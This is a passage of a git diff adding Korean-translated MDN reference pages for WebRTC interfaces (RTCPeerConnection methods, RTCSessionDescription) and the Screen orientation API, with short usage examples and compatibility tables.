configuration.iceServers에 정의한 하나 혹은 여러개의 URL이 {{Glossary("TURN")}} 서버 입니다. 하지만, 로그인을 위한 정보가 완전히 제공되지 않아서 발생하는 에러입니 ({{domxref("RTCIceServer.username")}} 혹은 {{domxref("RTCIceServer.credentials")}}의 값이 없다는 뜻). 이로인해 서버에 로그인을 성공적으로 할 수 없게 됩니다.
+
InvalidModificationError
+
configuration에서 변경되는 식별 정보를 포함하고 있지만, 연결을 구성하면서 이미 식별 정보를 지정했기 때문에 발생하는 에러입니다. 이 에러는 configuration.peerIdentity 혹은 configuration.certificates가 설정이 되어있고, 이 값들이 현재 설정 값과 다르기 때문에 발생합니다.
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}이 닫혀있어서 발생하는 에러입니다.
+
SyntaxError
+
configuration.iceServers에 제공된 하나 혹은 여러개의 URL 리스트가 유효하지 않아서 발생하는 에러입니다.
+
+ +

예시

+ +

아래의 예시에서는 ICE 재시작이 필요한 것을 확인하고, 다른 ICE 서버를 사용해서 협상이 이루어지도록 합니다.

+ +
var restartConfig = { iceServers: [{
+                          urls: "turn:asia.myturnserver.net",
+                          username: "allie@oopcode.com",
+                          credential: "topsecretpassword"
+                      }]
+};
+
+myPeerConnection.setConfiguration(restartConfig);
+
+myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
+  return myPeerConnection.setLocalDescription(offer);
+})
+.then(function() {
+  // send the offer to the other peer using the signaling server
+})
+.catch(reportError);
+ +

먼저, 신규 {{domxref("RTCConfiguration")}}가 신규 ICE 서버와 인증 정보를 명시한 restartConfig를 가지도록 생성됩니다. 그리고 설정한 {{domxref("RTCConfiguration")}}가 setConfiguration()에 전달됩니다. iceRestart 옵션의 값을 true로 지정하고, {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}을 호출해서 ICE 협상이 재시작됩니다. 이후에, 반환받은 offer를 local description으로 설정하고, 다른 피어에게 offer를 전달하는 것과 같이 일반적으로 진행되도록 처리합니다. 

+ +

사양서

+ + + + + + + + + + + + + + +
사양서상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setConfiguration-void-RTCConfiguration-configuration', 'setConfiguration()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.setConfiguration")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html new file mode 100644 index 0000000000..784a5e5dec --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html @@ -0,0 +1,66 @@ +--- +title: RTCPeerConnection.setIdentityProvider() +slug: Web/API/RTCPeerConnection/setIdentityProvider +translation_of: Web/API/RTCPeerConnection/setIdentityProvider +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setIdentityProvider() 메소드는 이름, 통신에 사용된 프로토콜 (옵션), 유저 이름 (옵션)으로 구성된 세 가지 매개변수에 식별 제공자 (Identity Provider, IdP)를 지정합니다. IdP는 주장 (assertion)이 필요한 순간에만 사용 될 것입니다. 

+ +

{{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "closed"로 지정되어있다면, InvalidStateError 에러가 발생합니다. 

+ +

Syntax

+ +
pc.setIdentityProvider(domainname [, protocol] [, username]);
+
+ +

이 메소드는 반환 값이 존재하지 않습니다.

+ +

매개변수

+ +
+
domainname
+
IdP가 존재하는 도메인 이름을 나타내는 {{domxref("DOMString")}}입니다.
+
protocol {{optional_Inline}}
+
IdP와 통신하기위해 사용된 프로토콜을 나타내는 {{domxref("DOMString")}}입니다. 디폴트 값은 "default"로 설정되어있고, IdP가 감청하게되는 URL를 결정하는데에 사용됩니다.
+
username {{optional_Inline}}
+
IdP와 연관된 유저 이름을 나타내는 {{domxref("DOMString")}}입니다.
+
+ +

예시

+ +
var pc = new PeerConnection();
+
+pc.setIdentityAssertion("developer.mozilla.org");
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setIdentityProvider-void-DOMString-provider-DOMString-protocol-DOMString-username', 'RTCPeerConnection.setIdentityProvider()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.setIdentityProvider")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html new file mode 100644 index 0000000000..41430c7267 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html @@ -0,0 +1,125 @@ +--- +title: RTCPeerConnection.setLocalDescription() +slug: Web/API/RTCPeerConnection/setLocalDescription +translation_of: Web/API/RTCPeerConnection/setLocalDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.setLocalDescription() 메소드는 연결 인터페이스와 관련이 있는 로컬 설명 (local description)을 변경합니다. 로컬 설명은 미디어 형식을 포함하는 연결의 로컬 엔드에 대한 속성을 명시합니다.

+ +

이 메소드는 세션 설명 (session description)을 단일 매개변수로 가지며, 설명이 비동기적으로 변하게되면 fulfilled되는 {{jsxref("Promise")}}를 반환합니다.

+ +

연결이 이미 되어있는데 setLocalDescription()가 호출된다면, 이는 재협상이 진행 중이라는 뜻입니다 (아마도 네트워크 환경이 바뀐 것에 대응하기 위함일 것입니다). 두명의 피어가 설정 값에 모두 동의해야지만 설명이 교환되기 때문에, setLocalDescription()의 호출로 전송된 설명은 즉시 사용되지 못합니다. 대신 협상이 완료되는 순간까지는 기존 연결 설정대로 작동 하게 됩니다. 그러다가 협상이 완료된 다음에서야 신규 설정이 사용됩니다.

+ +

Syntax

+ +
aPromise = RTCPeerConnection.setLocalDescription(sessionDescription);
+
+pc.setLocalDescription(sessionDescription, successCallback, errorCallback); {{deprecated_inline}}
+
+ +

매개 변수

+ +
+
sessionDescription
+
연결의 로컬 엔드에 적용시킬 설정 값을 지정하는 {{domxref("RTCSessionDescriptionInit")}} 혹은 {{domxref("RTCSessionDescription")}}입니다.
+
+ +

세션 설명 매개 변수에 대한 설명

+ +

sessionDescription 매개 변수는 일단 기술적으로는 RTCSessionDescriptionInit의 타입입니다. 하지만, {{domxref("RTCSessionDescription")}}가 RTCSessionDescriptionInit와 구별이 불가능하도록 직렬화 (serialize)하기 때문에, RTCSessionDescription를 전달 할 수도 있습니다. 이 말은 코드가 다음과 같이 간단해질 수 있다는 뜻입니다:

+ +
myPeerConnection.createOffer().then(function(offer) {
+  return myPeerConnection.setLocalDescription(new RTCSessionDescription(offer));
+});
+
+ +

위 코드를 아래와 같이 간단하게 사용이 가능해집니다:

+ +
myPeerConnection.createOffer().then(myPeerConnection.setLocalDescription);
+ +

이러한 이유로, {{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} 생성자는 더 이상 사용되지 않습니다.

+ +

반환 값

+ +

{{domxref("RTCPeerConnection.localDescription")}}의 값이 성공적으로 바뀌거나 혹은 변환이 불가능한 경우 거절되면 fulfill 되는 {{jsxref("Promise")}}입니다. 거절되는 예로는 명시한 설명이 연결에 존재하는 하나 혹은 양쪽 모두의 피어들과 호환이 불가능하면 발생하기도 합니다. 참고로 프로미스의 fulfillment 핸들러는 입력 매개 변수를 받지 않습니다.

+ +
+

설명을 바꾸는 과정은 변경이 실패해도 연결 상태를 잃지 않게 보장하도록 WebRTC 레이어에 의해서 처리되는 중간 단계를 거칩니다. 이 과정에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.

+
+ +

지원이 중단된 매개 변수

+ +

이전 버전의 문서에서는 콜백 기반의 함수를 찾을 수 있습니다. 콜백 함수는 지원이 중단되었고, 추후에 삭제 될 예정이기 때문에 사용하지 않도록 강력히 권장하고 있습니다. 이미 콜백 함수를 사용 중이라면, {{jsxref("Promise")}} 기반인 setLocalDescription()를 대신 사용하도록 업데이트 해야합니다. 기존 코드 업데이트에 도움을 주기 위해, 아래에서는 이전 버전의 setLocalDescription()에 대한 매개 변수를 설명합니다.

+ +
+
successCallback {{deprecated_inline}}
+
설명 값이 성공적으로 설정되면 입력 매개 변수 없이 호출되는 자바스크립트 {{jsxref("Function")}}입니다. 여기서, offer가 시그널링 서버를 통해서 원격 유저에게 전송 될 수 있습니다.
+
errorCallback {{deprecated_inline}}
+
설명 값이 설정이 불가능할 때에 호출되어 RTCPeerConnectionErrorCallback 서명을 확인하는 함수입니다. 여기에는 요청이 왜 실패했는지를 설명하는 {{domxref("DOMException")}} 객체를 전달합니다.
+
+ +

지원이 중단된 위의 메소드는 실제 설정이 바뀌기 전에 바로 반환합니다. 성공하면 successCallback가 호출되고, 실패하면 errorCallback가 호출됩니다.

+ +

지원이 중단된 예외처리

+ +

지원이 중단된 콜백버전의 setLocalDescription()를 사용하게되면 아래와 같은 예외들이 발 생 할 수도 있습니다:

+ +
+
InvalidStateError {{deprecated_inline}}
+
연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "closed" 상태고, 이는 연결이 현재 열린 상태가 아니여서 협상이 발생할 수 없다는 뜻입니다.
+
InvalidSessionDescriptionError {{deprecated_inline}}
+
sessionDescription에 의해 명시된 {{domxref("RTCSessionDescription")}} 매개 변수가 유효하지 않음을 알려줍니다.
+
+ +

예시

+ +

아래의 예시에서는, {{event("negotiationneeded")}} 이벤트에 대한 핸들러를 구현하였습니다:

+ +
function handleNegotiationNeededEvent() {
+  pc.createOffer().then(function(offer) {
+    return pc.setLocalDescription(offer);
+  })
+  .then(function() {
+    // Send the offer to the remote peer using the signaling server
+  })
+  .catch(reportError);
+}
+ +

이 함수는 {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}를 호출하여 offer를 생성하면서 시작됩니다. 이 과정이 성공하면, setLocalDescription()를 호출합니다. 프로미스에 대한 fulfillment 핸들러는 시그널링 서버를 사용해서 다른 유저에게 신규 생성된 offer를 전송할 수 있게 됩니다.

+ +

사양서

+ + + + + + + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-void-RTCSessionDescription-description-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback', 'RTCPeerConnection.setLocalDescription()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setLocalDescription-Promise-void--RTCSessionDescriptionInit-description', 'RTCPeerConnection.setLocalDescription()')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.setLocalDescription")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html new file mode 100644 index 0000000000..2c9c19afa2 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnectioniceevent/candidate/index.html @@ -0,0 +1,56 @@ +--- +title: RTCPeerConnectionIceEvent.candidate +slug: Web/API/RTCPeerConnectionIceEvent/candidate +translation_of: Web/API/RTCPeerConnectionIceEvent/candidate +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnectionIceEvent")}} 인터페이스의 candidate 속성은 읽기 전용입니다. 이 속성은 {{domxref("RTCIceCandidate")}}와 관련된 이벤트를 반환합니다.   

+ +

Syntax

+ +
 var candidate = event.candidate;
+ +

+ +

ICE candidate를 나타내는 {{domxref("RTCIceCandidate")}} 객체. 해당 네고시에이션 세션에 대한 candidate가 더 이상 존재하지 않으면, null을 반환합니다. 

+ +

예시

+ +
pc.onicecandidate = function( ev ) {
+  alert("The ICE candidate (transport address: '" +
+    ev.candidate.candidate +
+    "') has been added to this connection.");
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnectioniceevent-candidate', 'RTCPeerConnectionIceEvent.candidate') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnectionIceEvent.candidate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnectioniceevent/index.html b/files/ko/web/api/rtcpeerconnectioniceevent/index.html new file mode 100644 index 0000000000..089c81246d --- /dev/null +++ b/files/ko/web/api/rtcpeerconnectioniceevent/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnectionIceEvent +slug: Web/API/RTCPeerConnectionIceEvent +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - RTCIceCandidateEvent + - Reference + - TopicStub + - WebRTC +translation_of: Web/API/RTCPeerConnectionIceEvent +--- +

{{APIRef("WebRTC")}}

+ +

The RTCPeerConnectionIceEvent interface represents events that occurs in relation to {{Glossary("ICE")}} candidates with the target, usually an {{domxref("RTCPeerConnection")}}. Only one event is of this type: {{event("icecandidate")}}.

+ +

Properties

+ +

A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these properties.

+ +
+
{{domxref("RTCPeerConnectionIceEvent.candidate")}} {{readOnlyInline}}
+
Contains the {{domxref("RTCIceCandidate")}} containing the candidate associated with the event, or null if this event indicates that there are no further candidates to come.
+
+ +

Constructors

+ +
+
{{domxref("RTCPeerConnectionIceEvent.RTCPeerConnectionIceEvent()", "RTCPeerConnectionIceEvent()")}}
+
Returns a new RTCPeerConnectionIceEvent. It takes two parameters, the first being a {{domxref("DOMString")}} representing the type of the event; the second a dictionary containing the {{domxref("RTCIceCandidate")}} it refers to.
+
+ +

Methods

+ +

A {{domxref("RTCPeerConnectionIceEvent")}} being an {{domxref("Event")}}, this event also implements these propertiesThere is no specific {{domxref("RTCDataChannelEvent")}} method.

+ +

Examples

+ +
pc.onicecandidate = function( ev ) {
+  alert("The ICE candidate (transport address: '" +
+    ev.candidate.candidate +
+    "') has been added to this connection.");
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#rtcpeerconnectioniceevent', 'RTCPeerConnectionIceEvent') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCPeerConnectionIceEvent")}}

+ +

See also

+ + diff --git a/files/ko/web/api/rtcsessiondescription/index.html b/files/ko/web/api/rtcsessiondescription/index.html new file mode 100644 index 0000000000..927204c7da --- /dev/null +++ b/files/ko/web/api/rtcsessiondescription/index.html @@ -0,0 +1,129 @@ +--- +title: RTCSessionDescription +slug: Web/API/RTCSessionDescription +tags: + - API + - Audio + - Experimental + - Interface + - Media + - NeedsTranslation + - Reference + - TopicStub + - Video + - Web + - WebRTC +translation_of: Web/API/RTCSessionDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

The RTCSessionDescription interface describes one end of a connection—or potential connection—and how it's configured. Each RTCSessionDescription consists of a description {{domxref("RTCSessionDescription.type", "type")}} indicating which part of the offer/answer negotiation process it describes and of the {{Glossary("SDP")}} descriptor of the session.

+ +

The process of negotiating a connection between two peers involves exchanging RTCSessionDescription objects back and forth, with each description suggesting one combination of connection configuration options that the sender of the description supports. Once the two peers agree upon a configuration for the connection, negotiation is complete.

+ +

Properties

+ +

The RTCSessionDescription interface doesn't inherit any properties.

+ +
+
{{domxref("RTCSessionDescription.type")}} {{ReadOnlyInline}}
+
An enum of type {{anch("RTCSdpType")}} describing the session description's type.
+
+ +
+
{{domxref("RTCSessionDescription.sdp")}} {{ReadOnlyInline}}
+
A {{domxref("DOMString")}} containing the {{Glossary("SDP")}} describing the session.
+
+ +

Constants

+ +

RTCSdpType

+ +

This enum defines strings that describe the current state of the session description, as used in the {{domxref("RTCSessionDescription.type", "type")}} property. The session description's type will be specified using one of these values.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescription
answerThe SDP contained in the {{domxref("RTCSessionDescription.sdp", "sdp")}} property is the definitive choice in the exchange. In other words, this session description describes the agreed-upon configuration, and is being sent to finalize negotiation.
offerThe session description object describes the initial proposal in an offer/answer exchange. The session negotiation process begins with an offer being sent from the caller to the callee.
pranswerThe session description object describes a provisional answer; that is, a response to a previous offer that is not the final answer. It is usually employed by legacy hardware.
rollbackThis special type with an empty session description is used to roll back to the previous stable state.
+ +

Methods

+ +

The RTCSessionDescription doesn't inherit any methods.

+ +
+
{{domxref("RTCSessionDescription.RTCSessionDescription", "RTCSessionDescription()")}} {{deprecated_inline}}
+
This constructor returns a new RTCSessionDescription. The parameter is a RTCSessionDescriptionInit dictionary containing the values to assign the two properties.
+
{{domxref("RTCSessionDescription.toJSON()")}}
+
Returns a {{Glossary("JSON")}} description of the object. The values of both properties, {{domxref("RTCSessionDescription.type", "type")}} and {{domxref("RTCSessionDescription.sdp", "sdp")}}, are contained in the generated JSON.
+
+ +

Example

+ +
signalingChannel.onmessage = function (evt) {
+    if (!pc)
+        start(false);
+
+    var message = JSON.parse(evt.data);
+    if (message.sdp)
+        pc.setRemoteDescription(new RTCSessionDescription(message), function () {
+            // if we received an offer, we need to answer
+            if (pc.remoteDescription.type == "offer")
+                pc.createAnswer(localDescCreated, logError);
+        }, logError);
+    else
+        pc.addIceCandidate(new RTCIceCandidate(message.candidate),
+            function () {}, logError);
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#rtcsessiondescription-class', 'RTCSessionDescription') }}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCSessionDescription")}}

+ +

See also

+ + diff --git a/files/ko/web/api/rtcsessiondescription/sdp/index.html b/files/ko/web/api/rtcsessiondescription/sdp/index.html new file mode 100644 index 0000000000..d0ed1ab2f6 --- /dev/null +++ b/files/ko/web/api/rtcsessiondescription/sdp/index.html @@ -0,0 +1,69 @@ +--- +title: RTCSessionDescription.sdp +slug: Web/API/RTCSessionDescription/sdp +translation_of: Web/API/RTCSessionDescription/sdp +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCSessionDescription.sdp 는 세션에 대해 설명해주는 {{Glossary("SDP")}}를 가지고 있는 {{domxref("DOMString")}}입니다. 

+ +

Syntax

+ +
var value = sessionDescription.sdp;
+sessionDescription.sdp = value;
+
+ +

+ +

아래와 같이 SDP 메세지를 포함하고 있는 {{domxref("DOMString")}}값 입니다. 

+ +
 v=0
+ o=alice 2890844526 2890844526 IN IP4 host.anywhere.com
+ s=
+ c=IN IP4 host.anywhere.com
+ t=0 0
+ m=audio 49170 RTP/AVP 0
+ a=rtpmap:0 PCMU/8000
+ m=video 51372 RTP/AVP 31
+ a=rtpmap:31 H261/90000
+ m=video 53000 RTP/AVP 32
+ a=rtpmap:32 MPV/90000
+ +

예시

+ +
// The remote description has been set previously on pc, an RTCPeerConnection
+
+alert(pc.remoteDescription.sdp);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-sdp', 'RTCSessionDescription.sdp') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCSessionDescription.sdp")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcsessiondescription/type/index.html b/files/ko/web/api/rtcsessiondescription/type/index.html new file mode 100644 index 0000000000..d898fac57e --- /dev/null +++ b/files/ko/web/api/rtcsessiondescription/type/index.html @@ -0,0 +1,65 @@ +--- +title: RTCSessionDescription.type +slug: Web/API/RTCSessionDescription/type +translation_of: Web/API/RTCSessionDescription/type +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 전용 값인 RTCSessionDescription.type은 세션 설명의 타입을 알려주는 RTCSdpType타입의 값입니다. 

+ +

Syntax

+ +
var value = sessionDescription.type;
+sessionDescription.type = value;
+
+ +

+ +

RTCSdpType 타입의 열거체에 사용 가능한 값들이 정의되어 있습니다.

+ +

아래는 사용 가능한 값들입니다:

+ + + +

Example

+ +
// The remote description has been set previously on pc, a RTCPeerconnection
+
+alert(pc.remoteDescription.type);
+
+ +

사양서

+ + + + + + + + + + + + + + + + +
사양서상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCSessionDescription-type', 'RTCSessionDescription.type') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCSessionDescription.type")}}

+ +

참조

+ + diff --git a/files/ko/web/api/screen.onorientationchange/index.html b/files/ko/web/api/screen.onorientationchange/index.html new file mode 100644 index 0000000000..dc1a76013f --- /dev/null +++ b/files/ko/web/api/screen.onorientationchange/index.html @@ -0,0 +1,85 @@ +--- +title: window.screen.onorientationchange +slug: Web/API/Screen.onorientationchange +translation_of: Web/API/Screen/onorientationchange +--- +

{{ ApiRef() }}

+

{{SeeCompatTable}}

+

Summary

+

{{ event("orientationchange")}} 이벤트를 화면 객체로 보내는 이벤트 핸들러이다.

+

Syntax

+
screen.onorientationchange = funcRef;
+
+

funcRef 는 함수로의 참조 이다.

+

Specifications

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Screen Orientation')}}{{Spec2('Screen Orientation')}}Draft specification.
+

Browser compatibility

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

Gecko notes

+

이 API 는 현재 초안형태이다. 오직 B2G 와 안드로이드용 Firefox 에서 prefixed method (onmozorientationchange) 형태로만 구현된다.

+

See also

+ diff --git a/files/ko/web/api/screen/index.html b/files/ko/web/api/screen/index.html new file mode 100644 index 0000000000..74772f16d3 --- /dev/null +++ b/files/ko/web/api/screen/index.html @@ -0,0 +1,76 @@ +--- +title: Screen +slug: Web/API/Screen +tags: + - API +translation_of: Web/API/Screen +--- +
{{APIRef("CSSOM View")}}
+ +

The Screen interface represents a screen, usually the one on which the current window is being rendered.

+ +

Usually it is the one on which the current window is being rendered, obtained using window.screen.

+ +

Properties

+ +
+
{{domxref("Screen.availTop")}}
+
Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.
+
{{domxref("Screen.availLeft")}}
+
Returns the first available pixel available from the left side of the screen.
+
{{domxref("Screen.availHeight")}}
+
Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.
+
{{domxref("Screen.availWidth")}}
+
Returns the amount of horizontal space in pixels available to the window.
+
{{domxref("Screen.colorDepth")}}
+
Returns the color depth of the screen.
+
{{domxref("Screen.height")}}
+
Returns the height of the screen in pixels.
+
{{domxref("Screen.left")}}
+
Returns the distance in pixels from the left side of the main screen to the left side of the current screen.
+
{{domxref("Screen.orientation")}}
+
Returns the current orientation of the screen.
+
{{domxref("Screen.pixelDepth")}}
+
Gets the bit depth of the screen.
+
{{domxref("Screen.top")}}
+
Returns the distance in pixels from the top side of the current screen.
+
{{domxref("Screen.width")}}
+
Returns the width of the screen.
+
{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}
+
Boolean. Setting to false will turn off the device's screen.
+
{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}
+
Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.
+
+ +

Events handler

+ +
+
{{domxref("Screen.onorientationchange")}}
+
A handler for the {{event("orientationchange")}} events.
+
+ +

Methods

+ +
+
{{domxref("Screen.lockOrientation")}}
+
Lock the screen orientation (only works in fullscreen or for installed apps)
+
{{domxref("Screen.unlockOrientation")}}
+
Unlock the screen orientation (only works in fullscreen or for installed apps)
+
+ +

Methods inherit from {{domxref("EventTarget")}}

+ +

{{page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

Example

+ +
if (screen.pixelDepth < 8) {
+  // use low-color version of page
+} else {
+  // use regular, colorful page
+}
+
+ +

Specification

+ +

CSSOM View

diff --git a/files/ko/web/api/screen/lockorientation/index.html b/files/ko/web/api/screen/lockorientation/index.html new file mode 100644 index 0000000000..856bfb5010 --- /dev/null +++ b/files/ko/web/api/screen/lockorientation/index.html @@ -0,0 +1,92 @@ +--- +title: Screen.lockOrientation +slug: Web/API/Screen/lockOrientation +translation_of: Web/API/Screen/lockOrientation +--- +
{{APIRef("CSSOM View")}}
+ +
{{Deprecated_header}}
+ +

lockOrientation 함수는 지정된 방향으로 화면을 고정시킨다.

+ +
+

Note: 이 함수는 오직 설치된 웹앱 또는 full-screen mode 의 웹페이지에서만 동작한다..

+
+ +

Syntax

+ +
var locked = window.screen.lockOrientation(orientation);
+
+ +

Parameters

+ +
+
orientation
+
화면을 고정 시킬 방향. 문자열 또는 문자열의 배열이다. 여러 문자열을 지정하면 지정한 방향으로만 회전된다.
+
+ +

다음의 문자열들은 당신이 지정할 수 있는 방향들을 나타낸다.

+ +
+
portrait-primary
+
기본 세로 모드 일 때 화면의 방향을 나타낸다. 화면은 화면이 정상위치 (normal position)가 세로이고 세로로 고정 되어 있으면 기본 세로 모드 (primary portrait mode) 로 간주 된다. 만약 장치의 정상위치 (normal position)가 가로 모드 이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
portrait-secondary
+
보조 세로 모드 일 때 화면의 방향을 나타낸다.  화면은 정상위치에서 180° 로 고정 되어 있을 때 보조 세로 모드로 간주된다. 만약 정상위치가 가로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
landscape-primary
+
기본 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치 (normal position)가 가로이고 가로로 고정 되어 있으면 기본 가로 모드 (primary landscape mode) 로 간주된다. 만약 장치의 정상위치 (normal position)가 세로이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
landscape-secondary
+
보조 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치에서 180° 로 고정 되어 있을 때 보조 가로 모드 (secondary landscape mode) 로 간주된다. 또는 정상위치가 세로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.
+
portrait
+
portrait-primary 와 portrait-secondary 둘 다 이다.
+
landscape
+
landscape-primary 와 landscape-secondary 둘 다 이다.
+
+ +
+

Note: 한번에 여러개의 고정 값을 가질 수 있다. 만약 한방향으로만 설정 하면 화면의 방향은 unlock 하기 전 까지는 절대로 변하지 않는다. 그렇지 않다면 (여러값을 가진 다면) 지정 된 방향들로 화면의 방향이 변할 것이다.

+
+ +

Return value

+ +

성공적으로 고정 되었을 경우 true 를 반환한다. 고정 될 수 없다면 false 를 반환한다.

+ +

Example

+ +
if (window.screen.mozLockOrientation("landscape-primary")) {
+  // orientation was locked
+} else {
+  // orientation lock failed
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}{{ Spec2('Screen Orientation') }}Draft specification
+ +

Browser compatibility

+ +

{{Compat("api.Screen.lockOrientation")}}

+ +

See also

+ + diff --git a/files/ko/web/api/screen/orientation/index.html b/files/ko/web/api/screen/orientation/index.html new file mode 100644 index 0000000000..d77c14e6cb --- /dev/null +++ b/files/ko/web/api/screen/orientation/index.html @@ -0,0 +1,120 @@ +--- +title: Screen.orientation +slug: Web/API/Screen/orientation +translation_of: Web/API/Screen/orientation +--- +

{{APIRef("CSSOM View")}} {{SeeCompatTable}}

+ +

Summary

+ +

orientation 속성은 화면의 현재 방향을 알려 준다.

+ +
+

Note: 이 함수는 설치된 웹앱 또는 full-screen mode 의 웹페이지에서 동작한다.

+
+ +

Syntax

+ +
var orientation = window.screen.orientation;
+
+ +

Return value

+ +

리턴값은 화면의 방향을 표현하는 문자열이다. portrait-primary, portrait-secondary, landscape-primary, landscape-secondary 가 될 수 있다. (각 값들에 대해 좀 더 많은 정보를 구하려면 {{domxref("window.screen.lockOrientation","lockOrientation")}} 를 보라.).

+ +

Example

+ +
var orientation = screen.mozOrientation;
+
+if (orientation === "landscape-primary") {
+  console.log("That looks good.");
+} else if (orientation === "landscape-secondary") {
+  console.log("Mmmh... the screen is upside down!");
+} else if (orientation === "portrait-secondary" || orientation === "portrait-secondary") {
+  console.log("Mmmh... you should rotate your device");
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}{{ Spec2('Screen Orientation') }}Draft specification
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
